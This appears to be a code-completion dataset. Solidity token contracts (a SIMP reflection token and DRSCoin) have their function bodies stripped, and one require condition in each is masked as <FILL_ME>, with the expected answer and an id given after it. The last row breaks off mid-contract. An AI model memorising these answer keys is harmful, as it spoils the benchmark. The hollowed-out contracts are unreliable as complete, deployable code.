function rescueTreasuryTokens(uint256 _amount, address _recipient) external onlyOwner() {
}
/// @notice Rescue SIMP from the reflection amount
/// @dev Should only be used in an emergency
/// @param _amount The amount of SIMP to rescue
/// @param _recipient The recipient of the rescued SIMP
function rescueReflectionTokens(uint256 _amount, address _recipient) external onlyOwner() {
}
function addLiquidity(uint256 tokens) external payable onlyOwner() liquidityAdd {
}
/// @notice Enables trading on Uniswap
function enableTrading() external onlyOwner {
}
/// @notice Disables trading on Uniswap
function disableTrading() external onlyOwner {
}
function addReflection() external payable {
}
function isTaxExcluded(address account) public view returns (bool) {
}
function addTaxExcluded(address account) public onlyOwner() {
}
function removeTaxExcluded(address account) external onlyOwner() {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function _addBalance(address account, uint256 amount) internal {
}
function _subtractBalance(address account, uint256 amount) internal {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function unclaimedReflection(address addr) public view returns (uint256) {
}
/// @notice Claims reflection pool ETH
/// @param addr The address to claim the reflection for
function _claimReflection(address payable addr) internal {
}
function claimReflection() external {
}
/// @notice Perform a Uniswap v2 swap from SIMP to ETH and handle tax distribution
/// @param amount The amount of SIMP to swap in wei
/// @dev `amount` is always <= this contract's ETH balance. Calculate and distribute marketing and reflection taxes
function _swap(uint256 amount) internal lockSwap {
}
function swapAll() external {
}
function withdrawAll() external onlyOwner() {
}
/// @notice Transfers SIMP from an account to this contract for taxes
/// @param _account The account to transfer SIMP from
/// @param _marketingAmount The amount of marketing tax to transfer
/// @param _treasuryAmount The amount of treasury tax to transfer
/// @param _reflectAmount The amount of reflection tax to transfer
function _takeTaxes(
address _account,
uint256 _marketingAmount,
uint256 _treasuryAmount,
uint256 _reflectAmount
) internal {
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @return send The raw amount to send
/// @return reflect The raw reflection tax amount
/// @return marketing The raw marketing tax amount
/// @return treasury The raw treasury tax amount
function _getTaxAmounts(uint256 amount)
internal
view
returns (
uint256 send,
uint256 reflect,
uint256 marketing,
uint256 treasury
)
{
}
// modified from OpenZeppelin ERC20
function _rawTransfer(
address sender,
address recipient,
uint256 amount
) internal {
}
function setMaxTransfer(uint256 maxTransfer) external onlyOwner() {
}
/// @notice Enable or disable whether swap occurs during `_transfer`
/// @param _swapFees If true, enables swap during `_transfer`
function setSwapFees(bool _swapFees) external onlyOwner() {
}
function totalSupply() public view override returns (uint256) {
}
function _mint(address account, uint256 amount) internal override {
require(<FILL_ME>)
_totalSupply += amount;
_addBalance(account, amount);
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) external onlyOwner() {
}
function airdrop(address[] memory accounts, uint256[] memory amounts) external onlyOwner() {
}
receive() external payable {}
}
| _totalSupply.add(amount)<=MAX_SUPPLY,"Max supply exceeded" | 389,450 | _totalSupply.add(amount)<=MAX_SUPPLY |
"only allowed games permit to call" | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
require(<FILL_ME>)
_;
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
}
function proposeGame(address gameAddress) public onlyOwner {
}
function deleteGame (address gameAddress) public onlyOwner {
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| allowedGameAddress[msg.sender],"only allowed games permit to call" | 389,453 | allowedGameAddress[msg.sender] |
null | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
require(_value > 0);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(<FILL_ME>)
require(!restrictedAddresses[_to]);
uint32 _nowMonth = getCurrentMonth();
// settle msg.sender's eth
settleEth(msg.sender, lastRefundMonth[msg.sender], _nowMonth);
// settle _to's eth
settleEth(_to, lastRefundMonth[_to], _nowMonth);
// transfer token
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
}
function proposeGame(address gameAddress) public onlyOwner {
}
function deleteGame (address gameAddress) public onlyOwner {
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| !restrictedAddresses[msg.sender] | 389,453 | !restrictedAddresses[msg.sender] |
null | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
require(<FILL_ME>)
require(!restrictedAddresses[msg.sender]);
require(!restrictedAddresses[_to]);
uint32 _nowMonth = getCurrentMonth();
// settle _from's eth
settleEth(_from, lastRefundMonth[_from], _nowMonth);
// settle _to's eth
settleEth(_to, lastRefundMonth[_to], _nowMonth);
// transfer token
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
}
function proposeGame(address gameAddress) public onlyOwner {
}
function deleteGame (address gameAddress) public onlyOwner {
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| !restrictedAddresses[_from] | 389,453 | !restrictedAddresses[_from] |
null | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
require(_eth > 0);
(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) = getMintAmount(_eth);
require(_amount > 0);
require(totalSupply + _amount > totalSupply);
require(<FILL_ME>) // Check for overflows
uint32 _nowMonth = getCurrentMonth();
// settle _to's eth
settleEth(_to, lastRefundMonth[_to], _nowMonth);
totalSupply = _amount.add(totalSupply); // Update total supply
balanceOf[_to] = _amount.add(balanceOf[_to]); // Set minted coins to target
// add current month's totalTokenSupply
monthInfos[_nowMonth].totalTokenSupply = totalSupply;
if(_nextReduceSupply != nextReduceSupply) {
nextReduceSupply = _nextReduceSupply;
}
if(_tokenExchangeRate != tokenExchangeRate) {
tokenExchangeRate = _tokenExchangeRate;
}
emit Mint(_to, _amount); // Create Mint event
emit Transfer(0x0, _to, _amount); // Create Transfer event from 0x
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
}
function proposeGame(address gameAddress) public onlyOwner {
}
function deleteGame (address gameAddress) public onlyOwner {
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| balanceOf[_to]+_amount>balanceOf[_to] | 389,453 | balanceOf[_to]+_amount>balanceOf[_to] |
"game already in allow list" | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
require(<FILL_ME>)
require(proposedGames[gameAddress] > 0, "game must be in proposed list first");
require(now > proposedGames[gameAddress].add(proposingPeriod), "game must be debated for 2 days");
// add gameAddress to allowedGameAddress
allowedGameAddress[gameAddress] = true;
// delete gameAddress from proposedGames
proposedGames[gameAddress] = 0;
}
function proposeGame(address gameAddress) public onlyOwner {
}
function deleteGame (address gameAddress) public onlyOwner {
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| !allowedGameAddress[gameAddress],"game already in allow list" | 389,453 | !allowedGameAddress[gameAddress] |
"game must be in proposed list first" | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
require(!allowedGameAddress[gameAddress], "game already in allow list");
require(<FILL_ME>)
require(now > proposedGames[gameAddress].add(proposingPeriod), "game must be debated for 2 days");
// add gameAddress to allowedGameAddress
allowedGameAddress[gameAddress] = true;
// delete gameAddress from proposedGames
proposedGames[gameAddress] = 0;
}
function proposeGame(address gameAddress) public onlyOwner {
}
function deleteGame (address gameAddress) public onlyOwner {
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| proposedGames[gameAddress]>0,"game must be in proposed list first" | 389,453 | proposedGames[gameAddress]>0 |
"game already in proposed list" | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
}
function proposeGame(address gameAddress) public onlyOwner {
require(!allowedGameAddress[gameAddress], "game already in allow list");
require(<FILL_ME>)
// add gameAddress to proposedGames
proposedGames[gameAddress] = now;
}
function deleteGame (address gameAddress) public onlyOwner {
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
